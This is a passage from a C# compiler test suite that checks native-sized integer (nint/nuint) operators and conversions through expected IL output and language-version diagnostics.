IL_0034: call ""nuint nuint?.GetValueOrDefault()""
IL_0039: pop
IL_003a: ret
}");
verifier.VerifyIL("B.M2",
@"{
// Code size 95 (0x5f)
.maxstack 1
.locals init (int? V_0,
nint? V_1,
uint? V_2,
nuint? V_3)
IL_0000: ldarg.0
IL_0001: conv.i
IL_0002: stsfld ""nint A.F1""
IL_0007: ldarg.1
IL_0008: conv.u
IL_0009: stsfld ""nuint A.F2""
IL_000e: ldarg.2
IL_000f: stloc.0
IL_0010: ldloca.s V_0
IL_0012: call ""bool int?.HasValue.get""
IL_0017: brtrue.s IL_0024
IL_0019: ldloca.s V_1
IL_001b: initobj ""nint?""
IL_0021: ldloc.1
IL_0022: br.s IL_0031
IL_0024: ldloca.s V_0
IL_0026: call ""int int?.GetValueOrDefault()""
IL_002b: conv.i
IL_002c: newobj ""nint?..ctor(nint)""
IL_0031: stsfld ""nint? A.F3""
IL_0036: ldarg.3
IL_0037: stloc.2
IL_0038: ldloca.s V_2
IL_003a: call ""bool uint?.HasValue.get""
IL_003f: brtrue.s IL_004c
IL_0041: ldloca.s V_3
IL_0043: initobj ""nuint?""
IL_0049: ldloc.3
IL_004a: br.s IL_0059
IL_004c: ldloca.s V_2
IL_004e: call ""uint uint?.GetValueOrDefault()""
IL_0053: conv.u
IL_0054: newobj ""nuint?..ctor(nuint)""
IL_0059: stsfld ""nuint? A.F4""
IL_005e: ret
}");
}
[WorkItem(3259, "https://github.com/dotnet/csharplang/issues/3259")]
[Theory]
[InlineData(false)]
[InlineData(true)]
public void BuiltInOperators_NativeIntegers(bool useCompilationReference)
{
var sourceA =
@"public class A
{
public static nint F1;
public static nuint F2;
public static nint? F3;
public static nuint? F4;
}";
var comp = CreateCompilation(sourceA, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
var refA = AsReference(comp, useCompilationReference);
var sourceB =
@"class B : A
{
static void Main()
{
F1 = -F1;
F2 = +F2;
F3 = -F3;
F4 = +F4;
F1 = F1 * F1;
F2 = F2 / F2;
F3 = F3 * F1;
F4 = F4 / F2;
}
}";
comp = CreateCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
var verifier = CompileAndVerify(comp);
verifier.VerifyIL("B.Main",
@"{
// Code size 247 (0xf7)
.maxstack 2
.locals init (nint? V_0,
nint? V_1,
nuint? V_2,
nuint? V_3,
System.IntPtr V_4,
System.UIntPtr V_5)
IL_0000: ldsfld ""nint A.F1""
IL_0005: neg
IL_0006: stsfld ""nint A.F1""
IL_000b: ldsfld ""nuint A.F2""
IL_0010: stsfld ""nuint A.F2""
IL_0015: ldsfld ""nint? A.F3""
IL_001a: stloc.0
IL_001b: ldloca.s V_0
IL_001d: call ""bool nint?.HasValue.get""
IL_0022: brtrue.s IL_002f
IL_0024: ldloca.s V_1
IL_0026: initobj ""nint?""
IL_002c: ldloc.1
IL_002d: br.s IL_003c
IL_002f: ldloca.s V_0
IL_0031: call ""nint nint?.GetValueOrDefault()""
IL_0036: neg
IL_0037: newobj ""nint?..ctor(nint)""
IL_003c: stsfld ""nint? A.F3""
IL_0041: ldsfld ""nuint? A.F4""
IL_0046: stloc.2
IL_0047: ldloca.s V_2
IL_0049: call ""bool nuint?.HasValue.get""
IL_004e: brtrue.s IL_005b
IL_0050: ldloca.s V_3
IL_0052: initobj ""nuint?""
IL_0058: ldloc.3
IL_0059: br.s IL_0067
IL_005b: ldloca.s V_2
IL_005d: call ""nuint nuint?.GetValueOrDefault()""
IL_0062: newobj ""nuint?..ctor(nuint)""
IL_0067: stsfld ""nuint? A.F4""
IL_006c: ldsfld ""nint A.F1""
IL_0071: ldsfld ""nint A.F1""
IL_0076: mul
IL_0077: stsfld ""nint A.F1""
IL_007c: ldsfld ""nuint A.F2""
IL_0081: ldsfld ""nuint A.F2""
IL_0086: div.un
IL_0087: stsfld ""nuint A.F2""
IL_008c: ldsfld ""nint? A.F3""
IL_0091: stloc.0
IL_0092: ldsfld ""nint A.F1""
IL_0097: stloc.s V_4
IL_0099: ldloca.s V_0
IL_009b: call ""bool nint?.HasValue.get""
IL_00a0: brtrue.s IL_00ad
IL_00a2: ldloca.s V_1
IL_00a4: initobj ""nint?""
IL_00aa: ldloc.1
IL_00ab: br.s IL_00bc
IL_00ad: ldloca.s V_0
IL_00af: call ""nint nint?.GetValueOrDefault()""
IL_00b4: ldloc.s V_4
IL_00b6: mul
IL_00b7: newobj ""nint?..ctor(nint)""
IL_00bc: stsfld ""nint? A.F3""
IL_00c1: ldsfld ""nuint? A.F4""
IL_00c6: stloc.2
IL_00c7: ldsfld ""nuint A.F2""
IL_00cc: stloc.s V_5
IL_00ce: ldloca.s V_2
IL_00d0: call ""bool nuint?.HasValue.get""
IL_00d5: brtrue.s IL_00e2
IL_00d7: ldloca.s V_3
IL_00d9: initobj ""nuint?""
IL_00df: ldloc.3
IL_00e0: br.s IL_00f1
IL_00e2: ldloca.s V_2
IL_00e4: call ""nuint nuint?.GetValueOrDefault()""
IL_00e9: ldloc.s V_5
IL_00eb: div.un
IL_00ec: newobj ""nuint?..ctor(nuint)""
IL_00f1: stsfld ""nuint? A.F4""
IL_00f6: ret
}");
comp = CreateCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular8);
comp.VerifyDiagnostics(
// (5,14): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// F1 = -F1;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "-F1").WithArguments("native-sized integers", "9.0").WithLocation(5, 14),
// (6,14): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// F2 = +F2;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "+F2").WithArguments("native-sized integers", "9.0").WithLocation(6, 14),
// (7,14): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// F3 = -F3;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "-F3").WithArguments("native-sized integers", "9.0").WithLocation(7, 14),
// (8,14): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// F4 = +F4;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "+F4").WithArguments("native-sized integers", "9.0").WithLocation(8, 14),
// (9,14): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// F1 = F1 * F1;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F1 * F1").WithArguments("native-sized integers", "9.0").WithLocation(9, 14),
// (10,14): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// F2 = F2 / F2;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F2 / F2").WithArguments("native-sized integers", "9.0").WithLocation(10, 14),
// (11,14): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// F3 = F3 * F1;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F3 * F1").WithArguments("native-sized integers", "9.0").WithLocation(11, 14),
// (12,14): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// F4 = F4 / F2;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F4 / F2").WithArguments("native-sized integers", "9.0").WithLocation(12, 14));
}
[Theory]
[CombinatorialData]
[WorkItem(42941, "https://github.com/dotnet/roslyn/issues/42941")]
public void NativeIntegerOperatorsCSharp8_01(bool useCompilationReference, bool lifted)
{
string typeSuffix = lifted ? "?" : "";
var sourceA =
$@"public class A
{{
public static nint{typeSuffix} F1;
public static nuint{typeSuffix} F2;
}}";
var comp = CreateCompilation(sourceA, parseOptions: TestOptions.Regular9);
var refA = AsReference(comp, useCompilationReference);
var sourceB =
@"class B : A
{
static void Main()
{
_ = +F1;
_ = -F1;
_ = ~F1;
_ = +F2;
_ = ~F2;
}
}";
comp = CreateCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular9);
comp.VerifyEmitDiagnostics();
comp = CreateCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular8);
comp.VerifyEmitDiagnostics(
// (5,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = +F1;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "+F1").WithArguments("native-sized integers", "9.0").WithLocation(5, 13),
// (6,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = -F1;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "-F1").WithArguments("native-sized integers", "9.0").WithLocation(6, 13),
// (7,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = ~F1;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "~F1").WithArguments("native-sized integers", "9.0").WithLocation(7, 13),
// (8,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = +F2;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "+F2").WithArguments("native-sized integers", "9.0").WithLocation(8, 13),
// (9,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = ~F2;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "~F2").WithArguments("native-sized integers", "9.0").WithLocation(9, 13));
}
[Theory]
[CombinatorialData]
[WorkItem(42941, "https://github.com/dotnet/roslyn/issues/42941")]
public void NativeIntegerOperatorsCSharp8_02(bool useCompilationReference, [CombinatorialValues("nint", "nint?", "nuint", "nuint?")] string type)
{
var sourceA =
$@"public class A
{{
public static {type} F;
}}";
var comp = CreateCompilation(sourceA, parseOptions: TestOptions.Regular9);
var refA = AsReference(comp, useCompilationReference);
var sourceB =
@"class B : A
{
static void Main()
{
++F;
F++;
--F;
F--;
}
}";
comp = CreateCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular9);
comp.VerifyEmitDiagnostics();
comp = CreateCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular8);
comp.VerifyEmitDiagnostics(
// (5,9): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// ++F;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "++F").WithArguments("native-sized integers", "9.0").WithLocation(5, 9),
// (6,9): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// F++;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F++").WithArguments("native-sized integers", "9.0").WithLocation(6, 9),
// (7,9): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// --F;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "--F").WithArguments("native-sized integers", "9.0").WithLocation(7, 9),
// (8,9): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// F--;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F--").WithArguments("native-sized integers", "9.0").WithLocation(8, 9));
}
[Theory]
[CombinatorialData]
[WorkItem(42941, "https://github.com/dotnet/roslyn/issues/42941")]
public void NativeIntegerOperatorsCSharp8_03(bool useCompilationReference, [CombinatorialValues("nint", "nint?", "nuint", "nuint?")] string type)
{
var sourceA =
$@"public class A
{{
public static {type} F1, F2;
}}";
var comp = CreateCompilation(sourceA, parseOptions: TestOptions.Regular9);
var refA = AsReference(comp, useCompilationReference);
var sourceB =
@"class B : A
{
static void Main()
{
_ = F1 + F2;
_ = F1 - F2;
_ = F1 * F2;
_ = F1 / F2;
_ = F1 % F2;
_ = F1 < F2;
_ = F1 <= F2;
_ = F1 > F2;
_ = F1 >= F2;
_ = F1 == F2;
_ = F1 != F2;
_ = F1 & F2;
_ = F1 | F2;
_ = F1 ^ F2;
_ = F1 << 1;
_ = F1 >> 1;
}
}";
comp = CreateCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular9);
comp.VerifyEmitDiagnostics();
comp = CreateCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular8);
comp.VerifyEmitDiagnostics(
// (5,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = F1 + F2;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F1 + F2").WithArguments("native-sized integers", "9.0").WithLocation(5, 13),
// (6,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = F1 - F2;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F1 - F2").WithArguments("native-sized integers", "9.0").WithLocation(6, 13),
// (7,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = F1 * F2;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F1 * F2").WithArguments("native-sized integers", "9.0").WithLocation(7, 13),
// (8,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = F1 / F2;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F1 / F2").WithArguments("native-sized integers", "9.0").WithLocation(8, 13),
// (9,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = F1 % F2;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F1 % F2").WithArguments("native-sized integers", "9.0").WithLocation(9, 13),
// (10,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = F1 < F2;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F1 < F2").WithArguments("native-sized integers", "9.0").WithLocation(10, 13),
// (11,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = F1 <= F2;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F1 <= F2").WithArguments("native-sized integers", "9.0").WithLocation(11, 13),
// (12,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = F1 > F2;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F1 > F2").WithArguments("native-sized integers", "9.0").WithLocation(12, 13),
// (13,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = F1 >= F2;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F1 >= F2").WithArguments("native-sized integers", "9.0").WithLocation(13, 13),
// (14,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = F1 == F2;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F1 == F2").WithArguments("native-sized integers", "9.0").WithLocation(14, 13),
// (15,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = F1 != F2;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F1 != F2").WithArguments("native-sized integers", "9.0").WithLocation(15, 13),
// (16,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = F1 & F2;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F1 & F2").WithArguments("native-sized integers", "9.0").WithLocation(16, 13),
// (17,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = F1 | F2;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F1 | F2").WithArguments("native-sized integers", "9.0").WithLocation(17, 13),
// (18,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = F1 ^ F2;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F1 ^ F2").WithArguments("native-sized integers", "9.0").WithLocation(18, 13),
// (19,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = F1 << 1;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F1 << 1").WithArguments("native-sized integers", "9.0").WithLocation(19, 13),
// (20,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = F1 >> 1;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F1 >> 1").WithArguments("native-sized integers", "9.0").WithLocation(20, 13));
}
[Theory]
[CombinatorialData]
[WorkItem(42941, "https://github.com/dotnet/roslyn/issues/42941")]
public void NativeIntegerOperatorsCSharp8_04(bool useCompilationReference, [CombinatorialValues("nint", "nint?", "nuint", "nuint?")] string type)
{
var sourceA =
$@"public class A
{{
public static {type} F1, F2;
}}";
var comp = CreateCompilation(sourceA, parseOptions: TestOptions.Regular9);
var refA = AsReference(comp, useCompilationReference);
var sourceB =
@"class B : A
{
static void Main()
{
_ = (F1, F1) == (F2, F2);
_ = (F1, F1) != (F2, F2);
}
}";
comp = CreateCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular9);
comp.VerifyEmitDiagnostics();
comp = CreateCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular8);
comp.VerifyEmitDiagnostics(
// (5,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = (F1, F1) == (F2, F2);
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "(F1, F1) == (F2, F2)").WithArguments("native-sized integers", "9.0").WithLocation(5, 13),
// (5,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = (F1, F1) == (F2, F2);
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "(F1, F1) == (F2, F2)").WithArguments("native-sized integers", "9.0").WithLocation(5, 13),
// (6,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = (F1, F1) != (F2, F2);
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "(F1, F1) != (F2, F2)").WithArguments("native-sized integers", "9.0").WithLocation(6, 13),
// (6,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = (F1, F1) != (F2, F2);
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "(F1, F1) != (F2, F2)").WithArguments("native-sized integers", "9.0").WithLocation(6, 13));
}
[Theory]
[CombinatorialData]
[WorkItem(42941, "https://github.com/dotnet/roslyn/issues/42941")]
public void NativeIntegerOperatorsCSharp8_05(bool useCompilationReference, [CombinatorialValues("nint", "nint?", "nuint", "nuint?")] string type)
{
var sourceA =
$@"public class A
{{
public static {type} F;
}}";
var comp = CreateCompilation(sourceA, parseOptions: TestOptions.Regular9);
var refA = AsReference(comp, useCompilationReference);
var sourceB =
@"class B : A
{
static void Main()
{
F += 1;
F -= 1;
F *= 1;
F /= 1;
F %= 1;
F &= 1;
F |= 1;
F ^= 1;
F <<= 1;
F >>= 1;
}
}";
comp = CreateCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular9);
comp.VerifyEmitDiagnostics();
comp = CreateCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular8);
comp.VerifyEmitDiagnostics(
// (5,9): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// F += 1;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F += 1").WithArguments("native-sized integers", "9.0").WithLocation(5, 9),
// (6,9): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// F -= 1;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F -= 1").WithArguments("native-sized integers", "9.0").WithLocation(6, 9),
// (7,9): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// F *= 1;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F *= 1").WithArguments("native-sized integers", "9.0").WithLocation(7, 9),
// (8,9): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// F /= 1;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F /= 1").WithArguments("native-sized integers", "9.0").WithLocation(8, 9),
// (9,9): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// F %= 1;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F %= 1").WithArguments("native-sized integers", "9.0").WithLocation(9, 9),
// (10,9): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// F &= 1;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F &= 1").WithArguments("native-sized integers", "9.0").WithLocation(10, 9),
// (11,9): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// F |= 1;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F |= 1").WithArguments("native-sized integers", "9.0").WithLocation(11, 9),
// (12,9): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// F ^= 1;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F ^= 1").WithArguments("native-sized integers", "9.0").WithLocation(12, 9),
// (13,9): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// F <<= 1;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F <<= 1").WithArguments("native-sized integers", "9.0").WithLocation(13, 9),
// (14,9): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// F >>= 1;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F >>= 1").WithArguments("native-sized integers", "9.0").WithLocation(14, 9));
}
[Theory]
[CombinatorialData]
[WorkItem(42941, "https://github.com/dotnet/roslyn/issues/42941")]
public void NativeIntegerConversionsCSharp8_01(bool useCompilationReference, [CombinatorialValues("nint", "nuint")] string type)
{
var sourceA =
$@"public class A
{{
public static {type} F1;
public static {type}? F2;
}}";
var comp = CreateCompilation(sourceA, parseOptions: TestOptions.Regular9);
var refA = AsReference(comp, useCompilationReference);
var sourceB =
@"class B : A
{
static void Main()
{
F1 = sbyte.MaxValue;
F1 = byte.MaxValue;
F1 = char.MaxValue;
F1 = short.MaxValue;
F1 = ushort.MaxValue;
F1 = int.MaxValue;
F2 = sbyte.MaxValue;
F2 = byte.MaxValue;
F2 = char.MaxValue;
F2 = short.MaxValue;
F2 = ushort.MaxValue;
F2 = int.MaxValue;
}
}";
comp = CreateCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular9);
comp.VerifyEmitDiagnostics();
comp = CreateCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular8);
comp.VerifyEmitDiagnostics();
}
[Theory]
[CombinatorialData]
[WorkItem(42941, "https://github.com/dotnet/roslyn/issues/42941")]
public void NativeIntegerConversionsCSharp8_02(bool useCompilationReference, bool signed)
{
string type = signed ? "nint" : "nuint";
string underlyingType = signed ? "System.IntPtr" : "System.UIntPtr";
var sourceA =
$@"public class A
{{
public static {type} F1;
public static {type}? F2;
}}";
var comp = CreateCompilation(sourceA, parseOptions: TestOptions.Regular9);
var refA = AsReference(comp, useCompilationReference);
var sourceB =
$@"class B : A
{{
static T F<T>() => throw null;
static void Main()
{{
F1 = F<byte>();
F1 = F<char>();
F1 = F<ushort>();
F1 = F<{underlyingType}>();
F2 = F<byte>();
F2 = F<char>();
F2 = F<ushort>();
F2 = F<byte?>();
F2 = F<char?>();
F2 = F<ushort?>();
F2 = F<{underlyingType}>();
F2 = F<{underlyingType}?>();
}}
}}";
comp = CreateCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular9);
comp.VerifyEmitDiagnostics();
comp = CreateCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular8);
comp.VerifyEmitDiagnostics();
}
[Theory]
[CombinatorialData]
[WorkItem(42941, "https://github.com/dotnet/roslyn/issues/42941")]
public void NativeIntegerConversionsCSharp8_03(bool useCompilationReference, bool signed)
{
string type = signed ? "nint" : "nuint";
string underlyingType = signed ? "System.IntPtr" : "System.UIntPtr";
var sourceA =
$@"public class A
{{
public static {type} F1;
public static {type}? F2;
}}";
var comp = CreateCompilation(sourceA, parseOptions: TestOptions.Regular9);
var refA = AsReference(comp, useCompilationReference);
var sourceB =
$@"class B : A
{{
static void M0()
{{
object o;
o = F1;
o = (object)F1;
o = F2;
o = (object)F2;
}}
static void M1()
{{
{underlyingType} ptr;
sbyte sb;
byte b;
char c;
short s;
ushort us;
int i;
uint u;
long l;
ulong ul;
float f;
double d;
decimal dec;
ptr = F1;
f = F1;
d = F1;
dec = F1;
ptr = ({underlyingType})F1;
sb = (sbyte)F1;
b = (byte)F1;
c = (char)F1;
s = (short)F1;
us = (ushort)F1;
i = (int)F1;
u = (uint)F1;
l = (long)F1;
ul = (ulong)F1;
f = (float)F1;
d = (double)F1;
dec = (decimal)F1;
ptr = ({underlyingType})F2;
sb = (sbyte)F2;
b = (byte)F2;
c = (char)F2;
s = (short)F2;
us = (ushort)F2;
i = (int)F2;
u = (uint)F2;
l = (long)F2;
ul = (ulong)F2;
f = (float)F2;
d = (double)F2;
dec = (decimal)F2;
}}
static void M2()
{{
{underlyingType}? ptr;
sbyte? sb;
byte? b;
char? c;
short? s;
ushort? us;
int? i;
uint? u;
long? l;
ulong? ul;
float? f;
double? d;
decimal? dec;
ptr = F1;
f = F1;
d = F1;
dec = F1;
ptr = ({underlyingType}?)F1;
sb = (sbyte?)F1;
b = (byte?)F1;
c = (char?)F1;
s = (short?)F1;
us = (ushort?)F1;
i = (int?)F1;
u = (uint?)F1;
l = (long?)F1;
ul = (ulong?)F1;
f = (float?)F1;
d = (double?)F1;
dec = (decimal?)F1;
ptr = F2;
f = F2;
d = F2;
dec = F2;
ptr = ({underlyingType}?)F2;
sb = (sbyte?)F2;
b = (byte?)F2;
c = (char?)F2;
s = (short?)F2;
us = (ushort?)F2;
i = (int?)F2;
u = (uint?)F2;
l = (long?)F2;
ul = (ulong?)F2;
f = (float?)F2;
d = (double?)F2;
dec = (decimal?)F2;
}}
}}";
comp = CreateCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular9);
comp.VerifyEmitDiagnostics();
comp = CreateCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular8);
comp.VerifyEmitDiagnostics();
}
[Theory]
[CombinatorialData]
[WorkItem(42941, "https://github.com/dotnet/roslyn/issues/42941")]
public void NativeIntegerConversionsCSharp8_04(bool useCompilationReference, [CombinatorialValues("nint", "nuint")] string type)
{
var sourceA =
$@"public class A
{{
public static {type} F1, F2;
public static {type}? F3, F4;
}}";
var comp = CreateCompilation(sourceA, parseOptions: TestOptions.Regular9);
var refA = AsReference(comp, useCompilationReference);
var sourceB =
$@"class B : A
{{
static void Main()
{{
F2 = F1;
F4 = F1;
F4 = F3;
}}
}}";
comp = CreateCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular9);
comp.VerifyEmitDiagnostics();
comp = CreateCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular8);
comp.VerifyEmitDiagnostics();
}
[Theory]
[InlineData("")]
[InlineData("unchecked")]
[InlineData("checked")]
public void ConstantConversions_ToNativeInt(string context)
{
var source =
$@"#pragma warning disable 219
class Program
{{
static void F1()
{{
nint i;
{context}
{{
i = sbyte.MaxValue;
i = byte.MaxValue;
i = char.MaxValue;
i = short.MaxValue;
i = ushort.MaxValue;
i = int.MaxValue;
i = uint.MaxValue;
i = long.MaxValue;
i = ulong.MaxValue;
i = float.MaxValue;
i = double.MaxValue;
i = (decimal)int.MaxValue;
i = (nint)int.MaxValue;
i = (nuint)uint.MaxValue;
}}
}}
static void F2()
{{
nuint u;
{context}
{{
u = sbyte.MaxValue;
u = byte.MaxValue;
u = char.MaxValue;
u = short.MaxValue;
u = ushort.MaxValue;
u = int.MaxValue;
u = uint.MaxValue;
u = long.MaxValue;
u = ulong.MaxValue;
u = float.MaxValue;
u = double.MaxValue;
u = (decimal)uint.MaxValue;
u = (nint)int.MaxValue;
u = (nuint)uint.MaxValue;
}}
}}
}}";
var comp = CreateCompilation(source, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(
// (15,17): error CS0266: Cannot implicitly convert type 'uint' to 'nint'. An explicit conversion exists (are you missing a cast?)
// i = uint.MaxValue;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "uint.MaxValue").WithArguments("uint", "nint").WithLocation(15, 17),
// (16,17): error CS0266: Cannot implicitly convert type 'long' to 'nint'. An explicit conversion exists (are you missing a cast?)
// i = long.MaxValue;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "long.MaxValue").WithArguments("long", "nint").WithLocation(16, 17),
// (17,17): error CS0266: Cannot implicitly convert type 'ulong' to 'nint'. An explicit conversion exists (are you missing a cast?)
// i = ulong.MaxValue;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "ulong.MaxValue").WithArguments("ulong", "nint").WithLocation(17, 17),
// (18,17): error CS0266: Cannot implicitly convert type 'float' to 'nint'. An explicit conversion exists (are you missing a cast?)
// i = float.MaxValue;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "float.MaxValue").WithArguments("float", "nint").WithLocation(18, 17),
// (19,17): error CS0266: Cannot implicitly convert type 'double' to 'nint'. An explicit conversion exists (are you missing a cast?)
// i = double.MaxValue;
